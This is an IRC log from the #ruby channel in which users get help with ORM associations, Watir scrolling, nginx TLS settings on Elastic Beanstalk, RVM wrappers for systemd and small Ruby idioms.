havenwood changed the topic of #ruby to: Rules & more: https://ruby-community.com || Ruby 2.4.1, 2.3.4 & 2.2.7: https://www.ruby-lang.org || Paste >3 lines of text to: https://gist.github.com || Rails questions? Ask in: #RubyOnRails || Logs: https://irclog.whitequark.org/ruby || Books: https://goo.gl/wpGhoQ
ta_ has quit [Ping timeout: 240 seconds]
<robert_reilly> Hi All, show all the paths ruby is looking at when loading a gem ? is not $: ?
mooser has quit [Ping timeout: 258 seconds]
jenrzzz has joined #ruby
snockerton has quit [Quit: Leaving.]
dn`_ has joined #ruby
dn` has quit [Read error: Connection reset by peer]
dn`_ is now known as dn`
Fysicus has joined #ruby
bruce_lee has quit [Read error: Connection reset by peer]
tz_ has joined #ruby
mooser has joined #ruby
bruce_lee has joined #ruby
nerglish has quit [Quit: nerglish]
naprimer_3 has quit [Read error: Connection reset by peer]
petruff has quit [Ping timeout: 260 seconds]
mogaj has joined #ruby
tz_ has quit []
naprimer has joined #ruby
mogaj has quit [Ping timeout: 240 seconds]
nadir has joined #ruby
nerglish has joined #ruby
<Radar> robert_reilly: $: or $LOAD_PATH
jcao219 has quit [Ping timeout: 240 seconds]
username1 has quit [Ping timeout: 258 seconds]
nerglish has quit [Client Quit]
<robert_reilly> Radar: that is what i thought wrote a gem driver for test-kitchen and ruby cannot find it trying to figure out why it finds other gems in the dir
bkxd has joined #ruby
olivi____ has joined #ruby
mooser has quit [Remote host closed the connection]
__Yiota has joined #ruby
mooser has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
bkxd has quit [Ping timeout: 252 seconds]
ChaiTRex has joined #ruby
mooser has quit [Remote host closed the connection]
olivi____ has quit [Ping timeout: 255 seconds]
mooser has joined #ruby
ChaiTRex has left #ruby [#ruby]
<ineb> orm question. think of a database relation like car->engine->gear . i often find myself in a need to do get the corresponding car of a gear.. so i write a method that allows me to do gear.car or sometimes car.gears . is sequel, activerecord or some other ORM able to auto generate these methods?
<ineb> in this case, sequel and activerecord does provide car.engine engine.gears and so on, but how about relations across multiple tables?
<havenwood> ineb: Yeah, that's the kind of think Sequel or ActiveRecord model.
<ytti> quite
SeepingN has quit [Quit: The system is going down for reboot NOW!]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
circ-user-nul3O has joined #ruby
<ytti> would be literally something like
Tempesta has quit [Quit: AdiIRC is updating to v2.8 Beta Build (2017/04/19) 64 Bit]
Tempesta has joined #ruby
<ytti> class Car < Sequel::Model; one_to_one :gear; end
<ytti> now car instances would have gear method, which would return correct row from gear table
<elomatreb> I think they want the inverse of has_many_through, which I don't think is available just like that
<ytti> i assumed gear is gearbox
<ytti> like 7DCT
<ytti> so each car would have exactly one gearbox
<ytti> but i may have misunderstood
petruff has joined #ruby
circ-user-nul3O is now known as Deetss
<ineb> it was just an example. it does not really matter. my current relations look like Car one_to_one Engine; Engine one_to_many Gears
<ineb> i was wondering if there is a mechanism or technique that is able to deduce the Car one_to_many Gears relation
marr has quit [Ping timeout: 260 seconds]
<ineb> because Car has an Engine with many Gears
<ineb> so Car has many Gears
skweek has quit [Ping timeout: 240 seconds]
<ineb> and therefore Car.gears -> [Gear, Gear, Gear]
<ineb> is my thought approach wrong? it should be easily doable because in this case, Car.gears is just calling Engine.gears
<ineb> so i was wondering if there is a mechanism which already solves this problem
<elomatreb> That direction is has_many_through in ActiveRecord iirc, but it doesn't do the inverse (Gear.car)
<ineb> i see
<ineb> any reason why it is not the other way around?
Cohedri__ has quit [Read error: Connection reset by peer]
Cohedrin has joined #ruby
patr0clus has quit [Quit: WeeChat 1.4]
tercenya has quit []
<havenwood> ineb: you can do gear.gearbox.car by way of the belongs_tos
<havenwood> ineb: the ones with the belongs_to have the ids of the thing they're pointing to, and a helper method to access them
<havenwood> ineb: Sequel does it differently: http://sequel.jeremyevans.net/rdoc/files/doc/advanced_associations_rdoc.html#label-has_many+-3Athrough+associations
ta_ has joined #ruby
pwnd_nsfw has quit [Ping timeout: 260 seconds]
<ineb> ah there we go, thanks for pointing me there
Deetss has quit [Remote host closed the connection]
skweek has joined #ruby
shakes has joined #ruby
<ineb> so Car has_many :gears, :through => :engines
<ineb> in case of sequel
<havenwood> ineb: in ActiveRecord, if you'd like, you can `gear.car` if in Gear you: delegate :car, to: :engine
mogaj has joined #ruby
chouhoulis has quit [Remote host closed the connection]
gusrub has quit [Remote host closed the connection]
outreachdan has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<ineb> oh, my example was for ActiveRecord. Your link contains both variants
<ineb> in case of sequel its one_through_one
ramfjord has quit [Ping timeout: 240 seconds]
<ineb> and for many_through_many there is a plugin for Sequel
chouhoulis has joined #ruby
ramfjord has joined #ruby
HoierM has quit [Ping timeout: 240 seconds]
<ineb> i guess my question is answered. but one has to enter those relations manually.. however, its possible.
segy has quit [Quit: ZNC - http://znc.in]
mikecmpbll has quit [Quit: inabit. zz.]
davic has quit [Quit: Connection closed for inactivity]
Channel6 has joined #ruby
segy has joined #ruby
JC has quit [Ping timeout: 260 seconds]
duderonomy has quit [Ping timeout: 240 seconds]
duderono_ has joined #ruby
HoierM has joined #ruby
developBIR has joined #ruby
<developBIR> holy shit theres a lot of you here
<havenwood> developBIR: we are many
<developBIR> If you guys could help that would be great ¯\_(ツ)_/¯
<developBIR> if not its okay, i know you have other things to do
__Yiota has joined #ruby
oliv_____ has joined #ruby
ramfjord has quit [Ping timeout: 252 seconds]
charliesome has joined #ruby
oliv_____ has quit [Ping timeout: 255 seconds]
<ineb> we all have our segfaults :>
paradisaeidae has joined #ruby
paradisaeidae_ has joined #ruby
<ineb> developBIR: i dont know your use case and i dont know instagram. by 'new window' you mean browser window? you can toggle focus to the new window by browser.window(title: 'title_of_window')
jhack has quit [Quit: Leaving]
<ineb> and another idea: Instagram has an API.. cant you do it with it?
spicerack has joined #ruby
jdawgaz has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
mooser has quit [Remote host closed the connection]
spicerack has quit [Client Quit]
mooser has joined #ruby
<developBIR> ineb, i figured out that that is a popup and not another window
<ineb> developBIR: watir supports this aswell
xenops has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
xenops has joined #ruby
xenops has quit [Client Quit]
<developBIR> I tried using browser.div(:class => "XCLASS")::Scroll
<developBIR> but it is saying it doesnt exist
mim1k has joined #ruby
<ineb> you need to change to the popup window first
xenops has joined #ruby
xenops has quit [Client Quit]
<ineb> browser.windows should give you all available windows
<ineb> then switch context and do whatever you want in the new window
xenops has joined #ruby
<ineb> if that is what you want :D
xenops has quit [Client Quit]
<developBIR> but the problem is, its not a window its a div:/
xenops has joined #ruby
xenops has quit [Client Quit]
<ineb> then i dont get the problem
xenops has joined #ruby
xenops has quit [Client Quit]
PaulCape_ has quit [Ping timeout: 258 seconds]
mogaj has quit [Remote host closed the connection]
xenops has joined #ruby
<developBIR> just a moment please
duderono_ has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
xenops has quit [Client Quit]
<ineb> developBIR: check this for different scrolling methods http://stackoverflow.com/questions/14845338/how-to-scroll-a-web-application-in-watir
<ineb> regarding scrolling a div
mim1k has quit [Ping timeout: 260 seconds]
<developBIR> ineb, thank you. I am going to work with a couple of these and see if i can get them to work
<developBIR> i appreciate your help ineb
amclain has quit [Quit: Leaving]
<ineb> np
<ineb> good luck
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
rfoust has joined #ruby
Cohedrin has quit [Read error: Connection reset by peer]
<developBIR> ineb,
<developBIR> so in this line
<developBIR> div_with_scroll = browser.div(:class => 'containerNode tabContentPane typeNavigationSingleChild')
<developBIR> am i just putting in the class or is it 3 different elements?
<ineb> the class if your div. "XCLASS" or what is it
<ineb> *of
Cohedrin has joined #ruby
shakes has quit [Quit: Leaving]
<developBIR> ineb, IT FUCKING WORKS
<developBIR> DUDE
<developBIR> I AM SO HAPPY
<developBIR> YES
<developBIR> YES
<developBIR> YES
<ineb> Now push it to production
<developBIR> ineb, there is still a lot of work that needs to be done to it
bronson has quit [Remote host closed the connection]
<adam12> lol
mogaj has joined #ruby
mogaj has quit [Ping timeout: 240 seconds]
loy_aqua has joined #ruby
oliv_____ has joined #ruby
jdawgaz has joined #ruby
gnufied has quit [Quit: Leaving]
<developBIR> figured out how to iterate it so it loads a ton of them:)
<developBIR> im so fucking happy guys
libastral has quit [Ping timeout: 258 seconds]
negatifze has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Guest68448 has quit [Ping timeout: 252 seconds]
libastral has joined #ruby
sucks has joined #ruby
mogaj has joined #ruby
oliv_____ has quit [Remote host closed the connection]
pifon has quit [Quit: Connection closed for inactivity]
catbusters has quit [Quit: Connection closed for inactivity]
enterprisey has quit [Read error: Connection reset by peer]
skweek has quit [Ping timeout: 240 seconds]
t-recx has quit [Quit: t-recx]
genpaku has quit [Remote host closed the connection]
mogaj has quit [Remote host closed the connection]
enterprisey has joined #ruby
gusrub has joined #ruby
mogaj has joined #ruby
genpaku has joined #ruby
enterprisey has quit [Remote host closed the connection]
duderonomy has joined #ruby
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
HoierM has quit [Ping timeout: 260 seconds]
GodFather has quit [Ping timeout: 240 seconds]
pilne has quit [Quit: Quitting!]
jameser has joined #ruby
jdawgaz has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
orbital-smith has joined #ruby
<orbital-smith> hello everyone
<orbital-smith> does anyone here have experience with amazon beanstalk SSL/TLS configuration, i have a few questions, but in short, im looking to disable SSL and retain TLS
__Yiota has joined #ruby
bruce_lee has quit [Ping timeout: 240 seconds]
bruce_lee has joined #ruby
bruce_lee has joined #ruby
bruce_lee has quit [Changing host]
hndk has joined #ruby
<ineb> orbital-smith: i dont know beanstalk but i think you are deploying some sort of webserver configuration there, right? like httpd or so. those websers support a SSLProtocol directive in their configuration and you can say something like SSLProtocol -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 +TLSv1.2
<orbital-smith> ineb: thanks for the response, im not deploying, rather im just trying to disable SSL on a existing application
<ineb> web application?
<orbital-smith> ineb: yup
<ineb> then its the job of the webserver job to handle ssl/tsl
<orbital-smith> ineb: the application has been configured as a single instance (no load balancer) and its certificates have been configured (loaded into) a .ebextensions document
Fysicus has quit [Ping timeout: 260 seconds]
<orbital-smith> ineb: yes, that sounds about right, i don't know what web server its running on
<ineb> neither do it :/
<ineb> *i
<orbital-smith> ineb: its ruby, but i expect its whatever the default environment is for ruby
Vile` has joined #ruby
<orbital-smith> ineb: the problem im facing is 1) unfamiliarity with Ruby 2) no insight into the server(s) its running up there
mooser has quit [Ping timeout: 260 seconds]
<orbital-smith> ineb: i expect its reasonable to assume i could disable the SSL by way of post deployment shell commands (defined within ebextensions)
<ineb> not without restarting the webserver component
<orbital-smith> ineb: restarting is fine
<ineb> but i dont know beanstalk
<ineb> if its some container bases throwaway deployment or so
<orbital-smith> ineb: but you know ruby tho?
<ineb> yes
DaniG2k has joined #ruby
<orbital-smith> ineb: well, just about to read up on beanstalks ruby offerings
Cyrus has joined #ruby
<orbital-smith> ineb: thanks, mind if i ping you a bit later on if i have some questions?
<ineb> is it like a running server? can you ssh into it? then look what processes are running
<ineb> or no access at all? then again, ssl/tls is not handled by the web application itself. only by the web server. which can be implemented in ruby.
<orbital-smith> ineb: it says its running a 64bit Amazon Linux instance, v2.0.0 running Ruby 2.1 and (Passenger Standalone) if that means anything
cisco has joined #ruby
<orbital-smith> does Passenger Standalone ring any bells?
<orbital-smith> ineb: Passenger appears to be the web application server
<orbital-smith> which i assume is this https://en.wikipedia.org/wiki/Phusion_Passenger
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
bronson has joined #ruby
<ineb> well then it boils down to configure ssl for passenger standalone
<orbital-smith> ineb: look at the HTTP response headers, it is reporting nginx/1.6.2 + Phusion Passenger 4.0.59
<orbital-smith> so, is it reasonable to assume ebextensions is configuring SSL termination at nginx?
bsartek has quit [Quit: This computer has gone to sleep]
<orbital-smith> ineb: that sounds reasonable given i can find literally no information about configuring SSL for this passenger thing >_>
* orbital-smith rolls about in the chaos
<ineb> dont know anything about ebextension, but it looks like nginx can be configured through them
<ineb> if you are using nginx then you want to set the option "ssl_protocols TLSv1.2 TLSv1.1 TLSv1;" to allow tls only
<ineb> but i dont know where and how you have to do this in your beanstalk setup
mogaj has quit [Remote host closed the connection]
lele has quit [Ping timeout: 260 seconds]
raul782 has quit [Remote host closed the connection]
raul782 has joined #ruby
mogaj has joined #ruby
lele has joined #ruby
<developBIR> Am I allowed to do ARRAY.UNIQ.PUSH(X)
<elomatreb> You're allowed to, but it probably won't do what you expect
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
mogaj has quit [Remote host closed the connection]
cisco has quit [Quit: Leaving.]
<developBIR> youre right it doesnt seem to be doing it that way
sucks_ has joined #ruby
gusrub has quit [Remote host closed the connection]
<developBIR> So I am adding a bunch of divs to an array, and then after im done adding them it scrolls more for me. HOWEVER, it starts from the stop of the list. What would be the best way to set a starting point for adding more as it runs?
gusrub has joined #ruby
sucks has quit [Ping timeout: 252 seconds]
olivi____ has joined #ruby
sucks_ has quit [Read error: Connection reset by peer]
paradisaeidae_ has quit [Ping timeout: 260 seconds]
paradisaeidae has quit [Ping timeout: 260 seconds]
olivi____ has quit [Ping timeout: 260 seconds]
paradisaeidae has joined #ruby
paradisaeidae_ has joined #ruby
petruff has quit [Ping timeout: 260 seconds]
Trynemjoel has quit [Ping timeout: 245 seconds]
Trynemjoel has joined #ruby
mim1k has joined #ruby
phoo1234567 has quit [Quit: Gotta go]
govg has joined #ruby
mim1k has quit [Ping timeout: 252 seconds]
raul782 has quit [Remote host closed the connection]
minimalism has quit [Quit: minimalism]
pifon has joined #ruby
jusa has joined #ruby
gusrub has quit [Remote host closed the connection]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
jusa has quit [Ping timeout: 255 seconds]
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
jenrzzz has quit [Ping timeout: 260 seconds]
gix has quit [Ping timeout: 268 seconds]
negatifze has joined #ruby
gix has joined #ruby
DaniG2k has quit [Quit: leaving]
webopsx has quit [Quit: Textual IRC Client: www.textualapp.com]
xco has quit [Quit: xco]
enterprisey has joined #ruby
negatifze has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
negatifze has joined #ruby
jgnagy has quit [Remote host closed the connection]
negatifze has quit [Client Quit]
jgnagy has joined #ruby
mogaj has joined #ruby
jenrzzz has joined #ruby
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
loy_aqua has quit [Quit: loy_aqua]
loy_aqua has joined #ruby
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
hndk has quit [Quit: Leaving]
cfec0b8d has joined #ruby
astrobunny has joined #ruby
PaulCapestany has joined #ruby
domgetter has joined #ruby
mim1k has joined #ruby
bronson has quit [Ping timeout: 260 seconds]
sdwrage has joined #ruby
mim1k has quit [Ping timeout: 252 seconds]
AndBobsYourUncle has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
renchan has joined #ruby
charliesome has joined #ruby
rakm has joined #ruby
Guest96_ has quit [Remote host closed the connection]
Guest96 has joined #ruby
raul782 has joined #ruby
mooser has joined #ruby
Channel6 has quit [Quit: Leaving]
latemus has quit [Quit: Lost terminal]
bronson has joined #ruby
olivi____ has joined #ruby
bronson has quit [Ping timeout: 240 seconds]
catbusters has joined #ruby
ol_______ has joined #ruby
olivi____ has quit [Read error: Connection reset by peer]
raul782 has quit [Remote host closed the connection]
raul782 has joined #ruby
djbkd has joined #ruby
anisha has joined #ruby
jcao219 has joined #ruby
raul782 has quit [Ping timeout: 268 seconds]
astrobunny has quit [Remote host closed the connection]
jusa has joined #ruby
ol_______ has quit [Ping timeout: 252 seconds]
astrobunny has joined #ruby
jeyraof^mbpr has joined #ruby
anisha has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
anisha has joined #ruby
astrobunny has quit [Remote host closed the connection]
astrobunny has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
jenrzzz has quit [Ping timeout: 260 seconds]
ar1a has joined #ruby
<ar1a> Hi! Is it possible to parse strings into numbers, but with shorthand? say "10.5k" => 10500.
anisha_ has joined #ruby
olivi____ has joined #ruby
anisha has quit [Ping timeout: 240 seconds]
bruce_lee has quit [Remote host closed the connection]
nofxxxx has joined #ruby
joekarma has joined #ruby
mooser has quit [Remote host closed the connection]
<ar1a> [1:11 PM] Damian Guppy: difference between getting enough tables for 720 and enough for 864 is $1500, which is 30 tickets, good chance we would have them sell on saturday at least
<ar1a> heck wrong message
<ar1a> goddamn auto paste
ar1a has left #ruby [#ruby]
pifon has quit []
nofxxx has quit [Ping timeout: 268 seconds]
treeman has joined #ruby
olivi____ has quit [Ping timeout: 258 seconds]
mjuhl has quit [Ping timeout: 268 seconds]
oliv_____ has joined #ruby
raul782 has joined #ruby
raul782 has quit [Remote host closed the connection]
Cohedrin has quit [Read error: Connection reset by peer]
oliv_____ has quit [Ping timeout: 240 seconds]
olivi____ has joined #ruby
Cohedrin has joined #ruby
Vile` has quit [Ping timeout: 240 seconds]
paradisaeidae has left #ruby [#ruby]
paradisaeidae_ has quit [Quit: ChatZilla 0.9.93 [Firefox 52.0.2/20170323105023]]
joekarma has quit [Remote host closed the connection]
jameser has quit [Ping timeout: 255 seconds]
jameser has joined #ruby
olivi____ has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
MrBusiness3 has joined #ruby
<havenwood> >> def parse_to_f s; numeric, unit = s.partition /[[:alpha:]]/; numeric.to_f * case unit; when ''; 1; when 'k'; 1_000; when 'm'; 1_000_000 end end; [parse_to_f('42'), parse_to_f('10.5k'), parse_to_f('100m')]
<ruby[bot]> havenwood: I'm terribly sorry, I could not evaluate your code because of an error: OpenURI::HTTPError:500 Internal Server Error
<havenwood> #=> [42.0, 10500.0, 100000000.0]
rfoust has quit [Ping timeout: 258 seconds]
MrBismuth has quit [Ping timeout: 240 seconds]
olivi____ has quit [Ping timeout: 260 seconds]
oliv_____ has joined #ruby
bronson has joined #ruby
Cohedri__ has joined #ruby
Cohedrin has quit [Ping timeout: 260 seconds]
pickle_ has joined #ruby
oliv_____ has quit [Ping timeout: 260 seconds]
oli______ has joined #ruby
mwlang has quit [Quit: mwlang]
chouhoulis has quit [Ping timeout: 260 seconds]
chouhoul_ has joined #ruby
xall has joined #ruby
oli______ has quit [Ping timeout: 260 seconds]
stoffus has quit [Quit: leaving]
rakm has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
stoffus has joined #ruby
pickle_ is now known as lemon_sniper
vali has joined #ruby
djbkd has quit [Remote host closed the connection]
djbkd has joined #ruby
djbkd has quit [Remote host closed the connection]
bsartek has joined #ruby
Cohedri__ has quit [Read error: Connection reset by peer]
dn` has quit [Quit: dn`]
dn` has joined #ruby
Cohedrin has joined #ruby
Burgestrand has joined #ruby
mooser has joined #ruby
mooser has quit [Ping timeout: 240 seconds]
Burgestrand has quit [Quit: Closing time!]
DoubleMalt has joined #ruby
DoubleMalt has quit [Client Quit]
nowhere_man has quit [Ping timeout: 252 seconds]
rhyselsmore has quit [Ping timeout: 240 seconds]
Mission-Critical has quit [Ping timeout: 255 seconds]
vali has quit [Remote host closed the connection]
jeyraof^mbpr has quit [Quit: This computer has gone to sleep]
vali has joined #ruby
Cohedrin has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jeyraof^mbpr has joined #ruby
govg has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
xenops has joined #ruby
mooser has joined #ruby
djbkd has joined #ruby
mooser has quit [Remote host closed the connection]
mogaj has quit [Remote host closed the connection]
jamesaxl has joined #ruby
xenops has quit [Ping timeout: 240 seconds]
olivi____ has quit [Ping timeout: 260 seconds]
MissionCritical has joined #ruby
antgel has joined #ruby
aufi has joined #ruby
bigkevmcd has joined #ruby
mooser has joined #ruby
mzo has quit [Ping timeout: 240 seconds]
mooser has quit [Ping timeout: 240 seconds]
mooser has joined #ruby
Burgestrand has joined #ruby
mogaj has joined #ruby
olivi____ has joined #ruby
mzo has joined #ruby
Qchmqs__ has joined #ruby
Cohedrin has joined #ruby
tomphp has joined #ruby
mark_66 has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
olivi____ has joined #ruby
tomphp has quit [Ping timeout: 260 seconds]
robert_reilly has quit [Quit: Head hit keyboard ZZZzzzZZZzzzz]
Hail_Spacecake has joined #ruby
Qchmqs__ is now known as Qchmqs
<Hail_Spacecake> hello, I have a question trying to integrate ruby running under rvm and systemd
vali has left #ruby [#ruby]
<Hail_Spacecake> I have a script with a Gemfile and rvm installed that I run with the (rvm-provided) $ ruby script.rb
<Hail_Spacecake> in some directory
esObe_ has joined #ruby
<Hail_Spacecake> and I want to turn this into a systemd service file
<Hail_Spacecake> but I don't know how to tell ExecStart
<Hail_Spacecake> to use the ruby binary that rvm would provide
<Hail_Spacecake> and my system ruby isn't the right version and doesn't have the right gems
<foxmask> bonjello
Guest96 has quit [Remote host closed the connection]
mooser has quit [Remote host closed the connection]
lemon_sniper has quit [Ping timeout: 260 seconds]
Guest96 has joined #ruby
marr has joined #ruby
olivi____ has quit [Ping timeout: 258 seconds]
<havenwood> Hail_Spacecake: Consider using a wrapper: https://rvm.io/deployment/init-d
<havenwood> Hail_Spacecake: ^ that's the RVM way
<havenwood> foxmask: g'evenin'
catbusters has quit [Quit: Connection closed for inactivity]
mooser has joined #ruby
CloCkWeRX has quit [Quit: Leaving.]
jaruga has joined #ruby
jcao219 has quit [Ping timeout: 240 seconds]
<Hail_Spacecake> havenwood: I read that page
<Hail_Spacecake> but I didn't understand how to use it
<Hail_Spacecake> for running a single custom ruby file in a given directory
<Hail_Spacecake> what is "my_app" here?
<Hail_Spacecake> I'm running $ ruby /path/to/some/file.rb
conta has joined #ruby
jcao219 has joined #ruby
<Hail_Spacecake> I got the code from a github repo that had the .rb file itslef and a Gemfile that had a couple of gems and a ruby version line that's not my system version
<Hail_Spacecake> what is the standard way for people to install and run such programs?
<havenwood> Hail_Spacecake: You run `rvm wrapper ...` command and then use the wrapper you created with the full path to run Ruby with the correct env loaded.
mooser has quit []
<havenwood> Hail_Spacecake: Take a look at the content of the wrapper file that is generated, it should be enlightening.
<havenwood> Hail_Spacecake: https://rvm.io/deployment/god
<havenwood> Hail_Spacecake: See some of the other wrapper guides like ^ in the deployment section to piece together how to use it.
<havenwood> Hail_Spacecake: It'd be nice for someone to put together a consolidated wrapper section.
<Hail_Spacecake> I odn't understand this syntax: rvm alias create my_app ruby-2.0.0-p247@my_app
<Hail_Spacecake> what is the @ doing?
<Hail_Spacecake> what is my_app here?
<Hail_Spacecake> is that a .rs file in the current directory?
siovene has left #ruby [#ruby]
TomyLobo3 has joined #ruby
oliv_____ has joined #ruby
workmad3 has joined #ruby
<havenwood> Hail_Spacecake: RVM has a thing called gemsets. The thing following the @ is the gemset name. I don't use gemsets but some folk do.
<havenwood> Hail_Spacecake: https://rvm.io/gemsets/basics
aryaching has quit [Read error: Connection reset by peer]
oliv_____ has quit [Ping timeout: 258 seconds]
aryaching has joined #ruby
anisha__ has joined #ruby
oliv_____ has joined #ruby
acalycine has quit [Quit: bye]
anisha_ has quit [Ping timeout: 255 seconds]
nhhc has joined #ruby
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
sepp2k has joined #ruby
enterprisey has quit [Ping timeout: 240 seconds]
mim1k has joined #ruby
mikecmpbll has joined #ruby
tomphp has joined #ruby
chichou has joined #ruby
Silthias has joined #ruby
<foxmask> havenwood: hi ; it's the morning here :)
biberu has joined #ruby
oliv_____ has quit [Ping timeout: 258 seconds]
oliv_____ has joined #ruby
mogaj has quit [Remote host closed the connection]
facest has quit [Read error: Connection reset by peer]
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
oliv_____ has quit [Ping timeout: 240 seconds]
oliv_____ has joined #ruby
mogaj has joined #ruby
mogaj has quit [Remote host closed the connection]
flying has joined #ruby
ddffg has joined #ruby
faces has joined #ruby
oliv_____ has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
mogaj has joined #ruby
CloCkWeRX has joined #ruby
enterprisey has joined #ruby
ol_______ has joined #ruby
chichou has quit [Ping timeout: 240 seconds]
chichou has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
marr has quit [Remote host closed the connection]
ol_______ has quit [Ping timeout: 260 seconds]
rgr has joined #ruby
orbital-smith has quit [Read error: Connection reset by peer]
cfec0b8d has quit [Ping timeout: 240 seconds]
dude-xyz has joined #ruby
Beams has joined #ruby
jaruga has quit [Quit: jaruga]
Guest916 has quit [Ping timeout: 252 seconds]
mogaj has quit [Remote host closed the connection]
LiquidInsect has quit [Ping timeout: 252 seconds]
LiquidInsect has joined #ruby
nhhc is now known as phuongchau96
marr has joined #ruby
dude-xyz has quit [Quit: Konversation terminated!]
MyMind has joined #ruby
jeyraof^mbpr has quit [Quit: This computer has gone to sleep]
enterprisey has quit [Ping timeout: 255 seconds]
Sembei has quit [Ping timeout: 258 seconds]
jeyraof^mbpr has joined #ruby
Guest96 has quit [Remote host closed the connection]
BTRE has quit [Ping timeout: 252 seconds]
Guest96 has joined #ruby
arne__ has joined #ruby
arne_ has quit [Ping timeout: 260 seconds]
oliv_____ has joined #ruby
ta_ has quit [Ping timeout: 260 seconds]
tomphp has joined #ruby
ta_ has joined #ruby
lxsameer has joined #ruby
pandaant has joined #ruby
xenops has joined #ruby
oliv_____ has quit [Ping timeout: 268 seconds]
Cohedrin has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
antoniobeyah has quit [Quit: Connection closed for inactivity]
olivi____ has joined #ruby
MarcWebe1 has quit [Quit: leaving]
nadir has quit [Quit: Connection closed for inactivity]
jenrzzz has joined #ruby
Pisuke has joined #ruby
slima_ is now known as slima
slima has quit [Changing host]
slima has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
MyMind has quit [Ping timeout: 260 seconds]
loy_aqua has quit [Quit: loy_aqua]
loy_aqua has joined #ruby
olivi____ has joined #ruby
arquebus has joined #ruby
tvw has joined #ruby
jaruga has joined #ruby
aaa_ has joined #ruby
jcao219 has quit [Ping timeout: 252 seconds]
vivsoni has joined #ruby
aaa_ has quit [Remote host closed the connection]
vivsoni has left #ruby ["Leaving"]
olivi____ has quit [Ping timeout: 258 seconds]
mim1k has quit [Read error: Connection reset by peer]
bsartek has quit [Quit: This computer has gone to sleep]
Guest96 has quit [Remote host closed the connection]
sdwrage has quit [Quit: This computer has gone to sleep]
Guest96 has joined #ruby
rgtk has joined #ruby
oliv_____ has joined #ruby
mim1k has joined #ruby
jenrzzz has quit [Ping timeout: 255 seconds]
jcao219 has joined #ruby
CloCkWeRX has quit [Ping timeout: 240 seconds]
A124 has joined #ruby
nofxxx has joined #ruby
mogaj has joined #ruby
oliv_____ has quit [Ping timeout: 252 seconds]
aryaching has quit [Read error: Connection reset by peer]
nofxxxx has quit [Ping timeout: 258 seconds]
conta has quit [Quit: conta]
astrobunny has quit [Remote host closed the connection]
ta_ has quit [Ping timeout: 258 seconds]
jcao219 has quit [Ping timeout: 240 seconds]
govg has joined #ruby
Silthias has quit [Quit: Leaving.]
ferr has joined #ruby
oliv_____ has joined #ruby
jeyraof^mbpr has quit [Quit: This computer has gone to sleep]
ta_ has joined #ruby
phuongchau96 has quit [Remote host closed the connection]
ta_ has quit [Ping timeout: 240 seconds]
t-recx has joined #ruby
ta_ has joined #ruby
Antiarc has quit [Read error: Connection reset by peer]
Antiarc has joined #ruby
mim1k has quit [Ping timeout: 240 seconds]
antgel has quit [Ping timeout: 260 seconds]
mzo has quit [Ping timeout: 255 seconds]
mim1k has joined #ruby
oliv_____ has quit [Ping timeout: 260 seconds]
charliesome has joined #ruby
GodFather has joined #ruby
t-recx has quit [Quit: t-recx]
lel has quit [Ping timeout: 260 seconds]
loy_aqua has quit [Quit: loy_aqua]
GorillaApe has joined #ruby
mim1k has quit [Read error: Connection reset by peer]
<GorillaApe> hi
<GorillaApe> I have some classes that implement a specific method call it methodA
<GorillaApe> Is there a pattern to register all these classess and call their method automatically ?
mim1k has joined #ruby
<GorillaApe> instead of cl = Class1.new(blah) cl.methodA cl = Class2.new(blah) cl.methodA cl = ClassN.new(blah) cl.methodA.......
<canton7> you can do something like [Class1, Class2, ClassN].each{ |c| c.new.methodA }
<canton7> you can get all classes in a module if you want (and filter them using .respond_to?(:methodA)), but it's not something I'd recommend in general. Being explicit is usually better
ta_ has quit [Ping timeout: 240 seconds]
<arquebus> Has anyone ever made a purpose built editor for Ruby like all the editors that are made for Python like Eric, SPE, Boa Constructor, DrPython?
<ljarvis> arquebus: rubymine perhaps?
jaruga has quit [Ping timeout: 260 seconds]
zapata has quit [Ping timeout: 240 seconds]
xall has quit [Ping timeout: 240 seconds]
<arquebus> ljarvis: yes, I guess thats the only one, I would think they could design more UI elements to handle dependecny managers and build tools than what RubyMine has
mogaj has quit [Remote host closed the connection]
mogaj has joined #ruby
catbusters has joined #ruby
<ljarvis> sure
lel has joined #ruby
ta_ has joined #ruby
govg has quit [Ping timeout: 255 seconds]
mim1k has quit [Read error: Connection reset by peer]
Qchmqs has quit [Ping timeout: 260 seconds]
<darix> moin ljarvis
jameser has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mim1k has joined #ruby
zapata has joined #ruby
olivi____ has joined #ruby
olivi____ has quit [Ping timeout: 260 seconds]
olivi____ has joined #ruby
xall has joined #ruby
antgel has joined #ruby
mim1k has quit [Ping timeout: 258 seconds]
rgr has quit [Ping timeout: 260 seconds]
<ljarvis> howdy
rgr has joined #ruby
